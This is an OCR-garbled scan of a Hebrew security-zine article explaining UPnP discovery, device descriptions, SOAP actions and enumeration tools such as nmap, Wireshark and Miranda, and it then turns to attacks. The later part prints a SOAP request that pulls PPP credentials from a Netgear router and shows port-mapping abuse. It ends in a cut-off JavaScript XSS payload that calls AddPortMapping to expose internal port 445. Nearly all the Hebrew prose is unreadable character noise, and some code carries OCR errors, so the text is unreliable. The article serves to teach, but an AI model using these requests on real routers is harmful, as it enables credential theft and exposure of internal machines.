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http://www.digitalwhisper.co.il/files/Zines/0x09/DW9-4-UPnPVuln.pdf
http://www.upnp.org/
http://en.wikipedia.org/wiki/Zero_configuration_networking
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:0019 UPnP niN'w ynn ,NwNa 98X awnnw Notify n'2'an n'sMa 2

NOTIFY * HTTP/1.1

Host:239.255.255.250:1900

NT:urn:microsoft.com:service:X MS MediaReceiverRegistrar:1

NTS:ssdp:alive
Location:http://10.0.0.1:2869/upnphost/udhisapi.dll?content=uuid:db260595-288c-4ad5-8a81-3c841b24b0f8
USN:uuid:db260595-288c-4ad5-8a81-3c841b24b0f8: :urn:microsoft.com:service:X MS MediaReceiverRegistrar:1l
Cache-Control:max-age=900

Server:Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0

OPT:"http://schemas.upnp.org/upnp/1/0/"; ns=01

01-NLS:8b1548b90602b95d1a8d0dae812fcdc2

:DOND NWNA '7¥X VIKINW Notify Ni7an "My |0 NIDon NIXNAIT

NOTIFY * HTTP/1.1

Host: 239.255.255.250:1900

Cache-Control: max-age=300

Location: http://10.0.0.138:1780/WFADevice.xml

NTS: ssdp:alive

Server: POSIX, UPnP/1.0 /

NT: urn:schemas-wifialliance-org:device:WFADevice:1

USN: uuid:8ec4c5db-cc2f-d03b-0388-396231fd5f0e: :urn:schemas-wifialliance-org:device:WFADevice:1

NOTIFY * HTTP/1.1

Host: 239.255.255.250:1900

Cache-Control: max-age=300

Location: http://10.0.0.138:1780/WFADevice.xml

NTS: ssdp:alive

Server: POSIX, UPnP/1.0 /

NT: urn:schemas-wifialliance-org:service:WFAWLANConfig:1

USN: uuid:8ec4c5db-cc2f-d03b-0388-396231£fd5f0e: :urn:schemas-wifialliance-org:service:WFAWLANConfig:1

'2aN7 21" ANX DY 2D NN 7Y WNTaw yTmn 77D N Dxva N7710 Notify-n n7'an imeo
Notify nyTIn NN7wW1 NN'W 210 72 112Y) DOY9N KIN INIX NN'WN 10 XIN DA, 2D AR

.(Qwnna 702 vax) niN'wn a10 7y 9o yT'n 727 n¥1al nT'na Reference-1 (N9

:Headers-n 7y 7200

Notify :n7¥ NN ,nYpan 10 - NIYRIN MIYN @

.Multicast-> nunwn "239.255.255.250" naiman ,n7'ann TY' - Host e

.0'9pPN (DN X'N DNV D'N'WNL) N'7'aNn 12 At 719 - Cache-Control e

1DMURL -0 .UPNP-n 21 "y D'yxinn D'NN'wn 773 7w 1IN'NM7 Reference-> wnwn - Location e
."UPnP root device description"-> Da

Notify Type :[121 2n1I' IX) Notify Sub-Type 7wi Notify Type 7w 11x'7 |0 ,TN'2 NIXQ NT-1 NTS o
DN7Y9N Nya SSDP-2 o'wnnwn UPNP 'Y CWRD ,XNAIT? .Notify-n 210 NX niarxn [0 (Sub

MWD DX SSDP-n n'7'ana 1775 on

‘NTS: ssdp:alive
A799' DN LN 27w, NRT NNy

|NTS: ssdp:byebye |
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.('dI MM XN "aw UPNP-n NONA ,A10) INXY 7V 790N MYNWY yT'n - Server o
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nN7wIYW NXRT N'aNY7 XNAIT .Multicast-a "Discovery" aion "M-SEARCH" nwpa n71w xin ,UPnP

NXP Ny "y w2 XX

M-SEARCH * HTTP/1.1

Host:239.255.255.250:1900
ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1
Man:"ssdp:discover"

MX:3

:Headers-n 7y 7200
.M-SEARCH :7"10 mjm2 ,nujpan A10 - NIIYRIN MWD e
.(Multicast) nwpan NN7w1 I'9X TV LIXD DA - Host
Nn2'an% 2'a* UPnP 21 ,0'w9Nn X IMIX NN'YWN AI0 NIX X' ,"Search Target" 7w 1Ix'j7 - ST o
:D'NaN 0NN Y M-SEARCH
"upnp:rootdevice" 11'n ST-2 o»pn wn A1
Sssdp:all” ' ST-a n'pn wn .2
.Notify-n nI7'ana 0oNo XN DNIXK D'NN'Y? 0'RNN ST-2 00 wwn .3

J1'011770 AWNNY NaIwnY? ndne nYypan n7v INT NND 'TAaNN  NIMWA W -MX e

:Description - 'y1an A
NN7IY X' L,UPNP "MIN'W D'P90NN NWY 2D DN'Y 7377 N1Miyn X Ny UKD NN
UPnP 'mIN'y 790100 MW 21 D' [ONI NTNA ,Multicast-d NIN'wn ININX 112y M-SEARCH nwjpa
NID - 21 DTN ,D'XNN NN'Y KX KIN DR 2T121 ST Header-2 7910 YWX WN DX 7712 NIN

."Device Description" no1on
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AN INIK NN OMYPn D'NN'YA NITIR D'019 poonn XML yalp 11'n Device Description
D2a™IN 773 7y vhon poonn XML 7271 "rootdevice"-n NITIX Description NWRA DX ,XNAITY
775 7y vh9nn XML 7271 ,'9'¥50 2'D1-NN INIXK 7Y Description wiz1l DX .20 IMIKA DY

:"Device Description"-7 XnaIT ,2' 270 INIX "V D'910NN D'NN'WN

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:schemas-wifialliance-org:device:WFADevice:1</deviceType>
<friendlyName>WFADevice</friendlyName>
<manufacturer>Broadcom Corporation</manufacturer>
<manufacturerURL>http://www.broadcom.com</manufacturerURL>
<modelDescription>Wireless Device</modelDescription>
<modelName>WPS</modelName>
<modelNumber>X1</modelNumber>
<serialNumber>0000001</serialNumber>
<UDN>uuid:8ec4c5db-cc2f-d03b-0388-396231£fd5£0e</UDN>
<servicelList>
<service>
<serviceType>urn:schemas-wifialliance-org:service:WFAWLANConfig:1</serviceType>
<serviceId>urn:wifialliance-org:serviceId:WFAWLANConfigl</serviceId>
<SCPDURL>/x wfawlanconfig.xml</SCPDURL>
<controlURL>/control ?WFAWLANConfig</controlURL>
<eventSubURL>/event ?WFAWLANConfig</eventSubURL>
</service>
</servicelist>
</device>
</root>

D'NN'YN LI7W X NITIR L IFNITIR 17 190N XInl ,WFADevice-7 nn7w1 nwpan D NIX? NA
Service Control Protocol 7w TIx'7 - SCPD) 790n XIn DNIX SCPDURL-N NXI 790N XIN DNIX

.DMN'YUN DNINY YIN'YN 112 YTNRN DX 7277 ' yTw nan 7y (Document

NIN D'VINAIX 17'R NN KIN NN L2V 009N DX NIRYYT 72211 '9'¥D0 NIN'Y NITIX VTN Wizl DX
NN'W 290N ,N7RUNY YN 2D 11'RY NNTIPN NWPAd ,RNAIT? JTIVE DAIO NN L7277 noxn
SCPDURL 0" ,nN'Y INIX 7V YT'AN NIX 72727 nx¥11nT'Na D NI ' "WFAWLANConfig" nwa

INQD VTN DR NIKYY 7221 ,1'78 wan oX ,x_wfawlanconfig.xml :yalpa Ny

<?xml version="1.0"?2>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<action>
<name>DelAPSettings</name>
<argumentList>
<argument>
<name>NewAPSettings</name>
<direction>in</direction>

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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<relatedStateVariable>APSettings</relatedStateVariable>
</argument>
</argumentList>
</action>

</actionList>

<serviceStateTable>

<stateVariable sendEvents="no">
<name>WLANResponse</name>
<dataType>bin.base64</dataType>

</stateVariable>

</serviceStateTable>
</scpd>

N1 Actions 190N XX'"N NN'Y 7D 10D NMIZ NN '2N7 TWOK [TV X L[2IND U790 DK 'MNYy

2N INIX 72V NI7Ivo y¥a? nan 7y ona wnnwn?

:n7yon - 'wmn A
,"x_wfawlanconfig.xml" nin'win 112y nwpz'aw Device Description-n Nwpa 7w 0791 7DN01 DX
22 Npon N1y 737 NO9XN KIN DNIX D'UINIAIRND DRI 790N RINY Actions-n 775 NR NIXYYT D1

:Actions-n N'7202 1"ty D'VI9N NXR NIRYYT 7011 ,GetDevicelnfo NX '7'von'7 NX11 DX ,XNAITY? .Action

<action>
<name>GetDeviceInfo</name>
<argumentList>
<argument>
<name>NewDeviceInfo</name>
<direction>out</direction>
<relatedStateVariable>DevicelInfo</relatedStateVariable>
</argument>
</argumentList>
</action>

VININX |'X) D'OMNIX 7907 D'WATI X 'K ,7"I0 Action-n DX 7'v9Nn7 nan 2y ' TIN%7 2511 hmn

N2 |9IX2 POST Nwiza NN'7w NATya y¥ann Action-n n7yon .("In" X0 17w Direction-nw

POST /control?WFAWLANConfig HTTP/1.0

Host: 10.0.0.138

User-Agent: Twisted PageGetter

Content-Length: 278

SOAPACTION: "urn:schemas-wifialliance-org:service:WFAWLANConfig:l#GetDeviceInfo"
content-type: text/xml ;charset="utf-8"

connection: close

<?xml version="1.0" encoding="utf-8"?><s:Envelope
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><ns0:GetDeviceInfo
xmlns:nsO0="urn:schemas-wifialliance-org:service:WFAWLANConfig:1" /></s:Body></s:Envelope>

31 ,SAPACTION-N NOTYA |''¥1 NINT ,UN¥Q7 D'IVN X INIX Action-n DX 71707 POST-n nwpa v

Action-n INIX DX 7'V9n7 NIN 7V D'0IMNIAN 7907 D'WATI 11X D7 DTIRZ 11'RWY

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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2 ,NNAIT? AN UPnP-n 21 T¥n naian

Content-Length: 857

Content-Type: text/xml; charset="utf-8"
Date: Thu, 02 Jan 2003 02:01:42 GMT
EXT:

Server: POSIX, UPnP/1.0 /

Connection: close

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:GetDeviceInfoResponse xmlns:u="urn:schemas-wifialliance-org:service:WFAWLANConfig:1">
<NewDeviceInfo>EE0AARAQIgABBBBHABCOxMXbzC/QOwWOIOWIX/V8OECAABLywXSnFOBAaABChUjoqc+1UZJrMmF
68e20XEDIAWB2RD1cKTIiA4poBF4skvgY1Dwz31l/XJYducZIPgqbvEdM5GDYESYcuR9cCFr8z9CP/NJCuiUHML1h13
nGRxKifghopwMkl7rrMgTrn5BQGPSVhMe/8iWF1s2Gsel0bI1V7LAHC)vnfvPn8/GmIQkAPSBXJB9eqCzAjsmalSy
rnmb85NtC/pl8DyTxAJRN6egGTKzXHCHOX04gkQbxNJj2t 6hBeZ2B2DR2Dx+eVEDtDsCzNMJI8Kn910NgVVr fwfHWZ
XAEAATAJIXAQAATADXANAAEBEAGAAGCEEEQAAQIQIQANTkKkVUROVBUiwgSWS JLhAJAASERO4yMjAwdj JCRVPEFURAKAA
5ER04 yMjAwdj JCRVpFURBCAAQYM AwEFQACAAGAFDYBAABEBEADKRHT § I yMDB2MkJFWkVREDWAAQEQAGACAAAQEGA
CAAAQCQACAAAQLQAEgAAAAA==</NewDeviceInfo>

</u:GetDeviceInfoResponse>

</s:Body>

</s:Envelope>

:DA NN A1 72T NN NIRAY 7210,y Tn DNnn nRYE,Base64-1 1T NaIann pIn L 7" 0 npna

‘NETGEAR, Inc. DGN2200v2BEZEQ DGN2200v2BEZEQ 2200 DGN220v2BEZEQ

wnna 12T )1 7y ,NYRAN M 0907 11'7Y ,0M0N1D WA Action 7'won? N1 nT'na

TI2y? 0"7'NNn
UPNP 2™ 1IN'N

17w Subnet-n ININQ DNI DTN ,DNIK MNX? 72 0TI 12*7V UPNP 21 72im TIav? 'nnin'? nain v

:NNAIT? .Multicast 7v 107'9 Dy Wireshark n7uon "y 1a'oND [9IX2 DNIX ANXYT 701

[ (Untitled) - Wireshark - [
File Edit View Go (Capture Analyze 3Statistics Help
BWeee PEXEE AevoTL/(EEIQAaAl #DB % I
Filter: | ip.dst == BQ.P_‘ES.BS.Bm * Expression.. Clear Apply
Mo, Time Source Destination ~ Protocel Info .é.
21510 3169.114476 10.0.0.6 M-SEARCH ® HTTP/1.1
21466 3166.045217 10.0.0.6 239.255.255. 250 SSDP M-SEARCH * HTTP/1.1
21433 3164.201628 10.0.0.6 239.255.255. 250 SSDP M-SEARCH * HTTP/1.1
21420 3163.384957 10.0.0.6 239.255. 255. 250 upp Source port: 55158 Destination port: ws-discovery
21419 3163.321324 10.0.0.2 239.255. 255. 250 upp source port: 65360 Destination port: ws-discovery
21401 3163.181822 10.0.0.6 239.255.255. 250 upp Source port: 55158 Destination port: ws-discovery
21397 3163.125700 10.0.0.2 239.255.255. 250 upp Source port: 65360 Destination port: ws-discovery
21396 3162.990323 10.0.0.6 239.255.255. 250 55DP M-SEARCH * HTTP/1.1
21394 3162.987923 10.0.0.6 239.255.255. 250 UuDP Source port: 51607 Destination port: ws-discovery
21392 3162.802894 10.0.0.6 239.255.255. 250 uDP Source port: 51607 Destination port: ws-discowvery
21390 3162.785151 10.0.0.6 239,255,255, 250 upP Source port: 51607 Destination port: ws-discowvery
21386 3162.574937 10.0.0.6 239.255.255. 250 UDP Source port: 51607 Destination port: ws-discowvery
21371 3161.127306 10.0.0.6 239.255.255. 250 S5DP M-SEARCH * HTTP/1.1
21320 3158.259995 10.0.0.6 239.255.255. 250 S5DP M-SEARCH * HTTP/1.1
21288 3154.989202 10.0.0.86 239.255.255.250 S55DP M-SEARCH * HTTP/1.1
21286 3154.985371 10.0.0.6 239.255.255.250 S55DP M-SEARCH * H'I'I'P/_l.l -
«| m r
0000 01 00 5e 7f ff fa e0D 2a 82 56 of Oe 08 00 45 00 LoALLLL® VoL L LE. -
0010 00 al 09 8& 00 00 01 11 b5 be 0a 00 00 O6 ef FF  ........ ........ -
File: "C:\Users\Afik\AppData\Local\Temp\et... | Packets: 21511 Displayed: 653 Marked: 0 Dropped: 0 Profile: Default
L =
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1275 ST ny M-SEARCH nwppa nn'7w T 7y Subnet-n M2 "'0pX AN Y¥a7? 7210 ,NRT 1AM

:Multicast-2 ("ssdp:all" [122)

M-SEARCH * HTTP/1.1

HOST: 239.255.255.250:1900
MAN: "ssdp:discover"

MX: 5

ST: ssdp:all

:D'790N DN DNIX D'NN'YN DY AR 120'W YIN 2D I INKY Nan 2y Sniffer nuoni

[ Follow UDP Stream s Elﬂlg

|| Stream Content

HTTP/1.1 200 OK

cache-Control: max-age=300

pate: Thu, 02 Jan 2003 06:54:03 GMT

EXT:

Location: http://10.0.0.138:1780/wFADevice. xm]

server: POSIX UPRP/1.0 /

5T: urn:schemas-wifialliance-org:device:WFADevice:1

USN: uuid:Becdc5db-cc2f-d03b-0388-296231Fd5f0e: turn:schemas-wifialliance-org:device:wFADevice:1

leam | »

HTTP/1.1 200 OK

Cache-Control: max-age=300
Date: Thu, 02 Jan 2003 06:54:03 GMT L
EXT:

Location: http://10.0.0.138:1780/WFADevice. xm]
server: POSIX UPnP/1.0 /

5T: uuid:8ecdc5db-cc2f-d03b-0388-396231Fd5F0e
USN: uuid:Becdc5db-cc2f-d03b-0388-396231Fd5f0e

HTTP/1.1 200 OK

cache-Control: max-age=300

pate: Thu, 02 Jan 2003 06:54:03 eMT

EXT:

Location: http://10.0.0.138:1780/wFADevice. xm]

server: POSIX UPNP/1.0 /

ST: upnp:rootdevice

usn: uuid:8ecdc5db-cc2f-d03b-0388-396231Fd5f0e: :upnp:rootdevice

HTTP/1.1 200 OK

Cache-Control: max-age=300

pate: Thu, 02 Jan 2003 06:54:03 GMT

EXT:

Location: http://10.0.0.138:1780/WFADevice. xm]

server: POSIX UPnP/1.0 /

ST: urn:schemas-wifialliance-org:service :WFAWLANConfig:1

USN: uuid:Becd4c5db-cc2f-d03b-0388-396231Fd5f0e: :urn:schemas-wifialliance-org:service:wFAWLANConfig:1

HTTP/1.1 200 OK

cache-Control: max-age=300

Date: Thu, 02 Jan 2003 06:54:03 GMT

EXT:

Location: http://10.0.0.138:1780/wFADevice. xm] i
[ Tal i n !

nnnnnnn AACTV 1Innn

| Entire conversation (18792 bytes) IZI (7 ASCI (7 EBCDIC () Hex Dump () C Arrays @ Raw
[ Close ] [ Filter Out This Stream ]

b = = = ——— = - = = ——

V9?07 .nmap-n 7N yann NSE USMPO ,NNAIT? ,0'1T 779w nmap NITYA NNT Y¥a7? 71
N2 NIWENn INIR A'Wn7 N1, broadcast-upnp-info 0RO

http://nmap.org/nsedoc/scripts/broadcast-upnp-info.html

XM 0997 XA

C:\>nmap -sV --script=broadcast-upnp-info

Starting Nmap 6.01 ( http://nmap.org ) at 2013-03-16 12:34 Jerusalem
Standard Time
Pre-scan script results:

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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| broadcast-upnp-info:

| 10.0.0.6

| Server: Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0
| Location:
http://10.0.0.6:2869/upnphost/udhisapi.dll?content=uuid:48a81ldce-1498-
4c99-8282-00

d208f4bebd

| Webserver: Microsoft-HTTPAPI/2.0

| 10.0.0.138

| Server: POSIX UPnP/1.0 /

| Location: http://10.0.0.138:1780/WFADevice.xml

WARNING: No targets were specified, so 0 hosts scanned.

Nmap done: 0 IP addresses (0 hosts up) scanned in 8.59 seconds

C:\>

"y Python-2 andan Shell Intractive UPnP-1 121 .Miranda nwa *Tiy* *01 wnnwin' 701,902

O'NAN DY INIX UYL, |N" .SourceSec n1anNN

http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/

https://code.google.com/p/mirandaupnptool/

NN XYY NINI,BackTrack-n 7702 y'an 090N 9002

/pentest/enumerations/miranda/
W7 'TRnl MSEARCH niwpa n2iw XN ,Sniffer axna IMIX yn? ¢ v9Mpon N¥In N7'NNA

NTIPON NNTY] NNXT D'VXanN

msearch ‘

TNNAITY

miranda : python

Bookmarks Settings Help

# . /miranda.py

Le ¢ )3 c_UPNP_¢
D running Linux UPnP/1 N UPNP/1.0
E R R R R R R R R R R R R R R R R R R R R R R SRR SR R R R R

AR RO OROROR RO ROROR RO R KRR RO R O OR RO R R ROk R RO R R RO R R RO R R ok

D nir UP

A A AR AR ARk K
oo oK KK R R KK KK R KK K KR K K KR K K R K Kk KR K K o kK R K oKk K

1(

running Micr ft-Windows-NT/5.1 UPnP/1.0 UPnP-D e-Host/1.0

KRR AOR KKK KKK KKK ARk

E miranda : python

.Ctrl+C 2y yIn77 w' ,Sniffing axnn Nxx7? nan 7y

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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NIN7 NN 2V .0NIENN YXA?7 2212 1'791,]017 DM TONY NP MOoN NIXXIN NIX 011 *700 ,|2N WNKY

NTIPON DX Yn7 11*7y ,MSEARCH-n Ni7'an? 1aany nwan o N

|Host list

INNAIT?
upnp> host list

upnp>

wpa? 1'%y ,NYd .0™MINYNN DX V¥27 Nan 7y 1 wnnwnt 70 rwoynl LID 1oon 72t a1 o

NTIPO] WNNWI ,NNT Y¥27 NIN 7Y .7901 101 72 INIX VTN 7V N'¥INnR y¥a? onn

‘host get Device ID

:NTIP92 wnnwn? 7211 ,1on 1NKY

‘host summery Device ID

1 "%0n 2D NITIR YD YT NOMYY XNAIT .anY MR NIMIR 77 vy 7ap? nan Yy

:NNQN NamN2 Nik1? 7o ,(10.0.0.138:1780)
El miranda : python
File Edit View Bookmarks Settings Help
upnp> g
Requesting device and service info for 10.0.0.1 (this-t
Host data enumeration complete!

upnp= host summary 1

‘WFADevice:1l

upnp> i

& miranda : python

NTIROY YNNW1 ,2'07N 790N DNIX D'MN'YN NITIR MNI* '01S VTN NIXKT? N 7y

host details Device ID ’

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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miranda
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15

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
www.DigitalWhisper.co.il

2013 'xn ,41 i'a



Technologi

.XX'"n UPnP-n 27 "WX D'NIN'WA wnnwiny |N" TXD ARN] \Wnna

2N NWENN INIR A'wn? N1 ,"UPNP Inspector” X171 ,UPNnP 2D MNKY IMNTYVA NIY qoi ')

(Linux-7

http://coherence.beebits.net/wiki/UPnP-Inspector

DAl Windows-7 D2)

NYIQ 02N 190HN' UX7 UX71 ,MATVPN [DINA YWD NIX 7N07 7'NN' KN '700 N72yon WNNY

N7IY "Dnw MSEARCH-

N Nnian? onatany

-
® UPnP Inspector .. e . » -

m@g

File VWiew Test Help
Devices
e WFADevice (WFADevicel)
- M3 Guest: (MediaSenverl)
- Ms 7 (MediaServerl)
lewd 80211 Broadcom Reference (Gateway) (InternetGatewayDevice:)

Ufe - [ (MediaServer)

B B

punnn "+"-0 7Y yIng'? v 12'7y 7O0on RN MIX DNN'WN NITIR '9'¥90 101 7RUNY Min 7y

:NT 272 0197 NN TR NI PRI 'O'RIVY'R TINN

-
® UPnPInspector 40 0 R -

PN

File View Test Help
Devices
= e WFADevice (WFADevicel)
= v WEAWLANConfig:l
State Variables
SetAPSettings

B B
&

PutMessage

23]

SetSelectedRegistrar
GetSTASettings
ResetSTA
RebootSTA
ResetAP
DelSTASettings
SetSTASettings
GetAPSettings
RebootAP
PutWLANResponse
DelAPSettings
GetDevicelnfo

B EH B BH

H H

B B B 23]
Rl Bl Ryl Ryl Ryl Ryl Byl Ryl Gyl Wyl Ryl Byl By

2]

»

m

16
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NAIMD ,NNAIT?) N7 NWN7 yInn 1P NaIMd 17'9X IX ,17W Subnet-7 YInn NAIND 7007 nx111 nTn2
Port Scanning 7> NATva v¥a7? 731 ,UDP/1900 vNID NjpMo "y NRT NIwy7? 7511 ,(bnvaka IP

:nmap NITV XNAIT? ,0'"1TIV0 D'V INK WONYI

Nmap -v -sU -p 1900 XXX.XXX.XXX.XXX

NI9PNN

nnxa |1"yn 27vn ,n7nnnn 170 N7 250N XN INIXK D'1N'YN 2V n'¥ MK vixal UPnP 21 NN

22070 W / nwnn v DY Nivpnn winm Naiv? 12 0ntpn 0NN N7uon XN

Va1 X ,|'7D NX XD A'XX X7 .nian NI5pPNN INNIS bNNaoNnal ,UPNP a1 NITIXR 02N 07NN 1YXIa

INNISY NI9PNNN NNTYA Y¥IAY [NIY NI7IYOYT NINNAIT .[I'VIN DX 207 Nin 7V [An nnda

.("P12N '019 ,NIXNO'0 ,D'YANYN NINY) 27N 'T' 7V 791000 YT qI0'R e

.(WAN to WAN) '0j7n® NI IGD 'NN'Y D'790NN DA WIN'Y e

WAN-7 D"127X-0"19 D'NIN'Y NYAINI YINAY? Nnwann Dynamic Port Mapping VIx'a e

.790N XIN DNIX D'NN'WN /am7 DoS yixa e

.N7U9NN NN NN 2NN Y TIg XN e

.Malvertising / 2'w'® Na107 AN1N W DNS-n MW "'y

Lrnma N X

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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UPnP Information Disclosure

21 TN qi7wh 0 1R UPnP-n 200 T 2V 0'RxIMn Actions-2 win'y N1ty 0D TV 1'KY 10D
IP-n N2IMD (120 YT 117 NNY naw'y UPnP 21 ANK7 7211 0'y97 2aR ,NIR "My TN X7 AN
NISO0N DN ,UNVYI'RN N'PO0 7M NINTTN NAIVY YNWNN Ynnwnn DY ,ANIN ¢ N2iXNn

P907 NN2ANNNN NNO'o NIX DA q17wW7 D1

D'Poonn 0212 WANPPPConn nin'win NNN k¥Nidn GetExternallPAddress-2 win'yy nitya
DX DA 17W NIX'NN IP-N NAND DX qi7¢7 N1 L,(D1' 01K 7D vynda o) WANDevice pwnn

JN'w 117 7900 X7 NIN

907 ' 7Y NINTTAN '009 DX qI7w7 D1 "GetPassword"-1l "GetUserName" Nty
NX 2NOW 1INan .WANPPPConnection NIN'wn NNN n7Xn Actions-n X KI¥N7 7211 .01101'RN
UPnP am1 ¥ 11 190nw n'7'al "Dn NaMd Y7nna pnn nwy (FormateZ / n'oNa 7R1IT) umap
23> ,WANPPPConnection.xml-n MNN NXT DX'N¥N X7 DN DX DA N78N Actions-n 1w NX D'j790N
DM D'NIY 7V NIWANN K7X 098N UPNP-n 'MW DX NIAND X7 NIMIXNY 1910 0T ARNIN

VTN NNVAN] D'WAID DNV TIYW Actions-n MK N'VOY9N NNN2 0'701N VIYDI

Netgear anin '1 2V x¥I'mn UPnP-n mwn wnnwnn OW NX L]I'?W'? MYUODSKRNN nw,v:h nnarT

:FM114P ProSafe Wireless Router

POST /upnp/service/WANPPPConnection HTTP/1.1
HOST: 192.168.0.1:80

SOAPACTION: "urn:schemas-upnp-
org:service:WANPPPConnection:1#GetUserName"
CONTENT-TYPE: text/xml ; charset="utf-8"
Content-Length: 289

<?xml version="1.0" encoding="utf-8"?>

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">

<s:Body>

<u:GetUserName
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1" />

</s:Body>

</s:Envelope>

[http://www.securityfocus.com/bid/7267/exploit :1177n1]

UPnP 12> D0'7> NITYa ,KYIDQ YA NRNN 72 170naw 190,07 2702 0197 NN Tn Nk 'R
2V poionn yvTnn 770 nx 917w N1 ,omiT Umap LHiliSoft UPnP Browser ,Miranda ,Inspector

A0

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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Dynamic Port Mapping

Port "WOKY7I Port Mapping-n N720 NX NNW7? Wwoxnn UPnP pwnn D'P90Nn D2 DMVIKN
Port X¥"7 D'WOTIN NWOY 'MN'Y IX NIDIN? TWOKRT XN DT pwnn ¢ nonn w1l Forwarding
Peer to NMIVZVDINA NIZVISN NIDIN TIYI DTN DN0N NIIN , Torrents NIIIN NNAITY) VINVIR?
.(?Universal Plug and Play ?D0™DIT) 'ONIVIX [DIXQ NTD NI ITAN7I W0IKNT7 pwnnnn? (Peer

'NNAIT? .Y NI NIMITT NITIVO YX¥A7 0'9pINY TWOKN N K77 IT nW NNy 1anon ,7vio

nwy Yinn N D"NWN D'NN'Y NYAIN

-019 D'NN'W KX INT Y¥A7 0'213' 0'97IN DA )2 ,NT NN'WA NIYANYN NI''YAY NIDINY 11D

T Telnet 'MW ,HTTP 'MW ,SSH 'MW 120 D'NN'W .NWAY7 YINn X D"'Nw

WANConnectionDevice nn'wn NNN X¥nin AddPortMapping Dwa Action-a win'y NIyl
D'PIN q'oin? N1 ,(D1' "M Y0IRY 75 VYNNI 0"'7) WANPPPConnection pwnn D'Po0nin 02D

)2 NINT Y¥A7 N1 ,Miranda *720 Ntva ,Xna1T7 .Port Mapping-n N'720%

E miranda
File Edit

PortMapping

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0NAT
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NTY N0IKN? yInn 78 10.0.0.2 N9 IP-n N2IMd2A 1337 0I9Y7 |'TRAN MY NWAIN ,XNAIT? D
nNdY 1337 0197 WAty M 75 Nydl A0IKN 7Y inn punnn 72y 1337 01ion ey

7v 7I1n10 pwnna ARXIND DX NIRYT7 N2 .NNI9D DNYY VA - J0IKN 7Y NRIX'NN 010NN

I % METGEAR Router DGN220' [

= 9% 10.0.0.138/starthtm [ | D -

AN

NETGEAR

router manager
RangeMox Next Wireless-N Modem Router

Logs -
@ UPNP o
Block Sites
Firewall Rules =
. v
e [¥ITurn UPnP On
Schedule Advertisement Period (in minutes) 30
E-mail Advertisement Time to Live (in hops) 4
Router Status UPnP Portmap Table
Attached Devices Active | Protocol [ Int. Port [Ext. Port] _IP Address
. YES UoP 39779 | 39779 10.0.01
Backup Settings YES | _Tcp | 3a779 | 39779 10001
Set Password || ¥vEs | TCP 1337 | 1337 10002 ||
Diagnostics
Router Upgrade [Apply ] [ Cancel ] [ Refresh ]
WAN Setup -

10170'RN 78 ANIA 7Y 7IDN Punn YN

VY21 2NN NNTANAY NINNRY )21 ,NWN7 YINn 78 2NN 7w 71000 pwnn nwain N2 N0 XnaiT
NN XN QI |ty (WAN-nn) anan 7w naix'nn 700 v el e X7 71nan punn D

JINT DYOIN N72V9N NXY 1'% 1annn? N0

lynnl DN7Y APNN AT TNXR TYY v DX NP7 GNUCITIZN a17an N 0'7'vosnn nann
2V XMLHttpRequest 0PI WNNWNN Javascript N¥NMn Pre Auth XSS NwZin n'7xann nopnn
punn NX wIN7 7D niwynyal UPnP nwpa 19w 10Ik7 NI 21Tt anRa whnt omat nin

.01VI'XY VRN 7V 71NN

)2 R INXY VOMIZON

var req;
var url="/upnp/control/igd/wanpppcInternet";

function loadXMLDoc (url) {
req = false;
// branch for native XMLHttpRequest object
if (window.XMLHttpRequest && ! (window.ActiveXObject)) {
try {
req = new XMLHttpRequest () ;

UPnP - yTn X7 D71¥71 NIX O'9PINT DI'N Y'¥N NNXY 0N2T
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} catch(e) {
req = false;
}
// branch for IE/Windows ActiveX version
} else if (window.ActiveXObject) {
try {
reqg = new ActiveXObject ("Msxml2.XMLHTTP") ;
} catch(e) {
try {
req = new ActiveXObject ("Microsoft.XMLHTTP") ;
} catch(e) {
req = false;
}
}

if (req) {
req.onreadystatechange processRegChange;
reg.open ("POST", url, true);
reqg.setRequestHeader ('SOAPAction', '"urn:schemas-upnp-
org:service:WANPPPConnection:1#AddPortMapping”"') ;

req.send('<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping
xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewRemoteHost xmlns:dt="urn:schemas-
microsoft-com:datatypes" dt:dt="string"></NewRemoteHost><NewExternalPort xmlns:dt="urn:schemas-
microsoft-com:datatypes" dt:dt="ui2">1337</NewExternalPort><NewProtocol xmlns:dt="urn:schemas-
microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol><NewInternalPort xmlns:dt="urn:schemas-

microsoft-com:datatypes" dt:dt="ui2">445</NewInternalPort><NewInternalClient xmlns:dt="urn:schemas-

microsoft-com:datatypes" dt:dt="string">192.168.1.64</NewInternalClient><NewEnabled
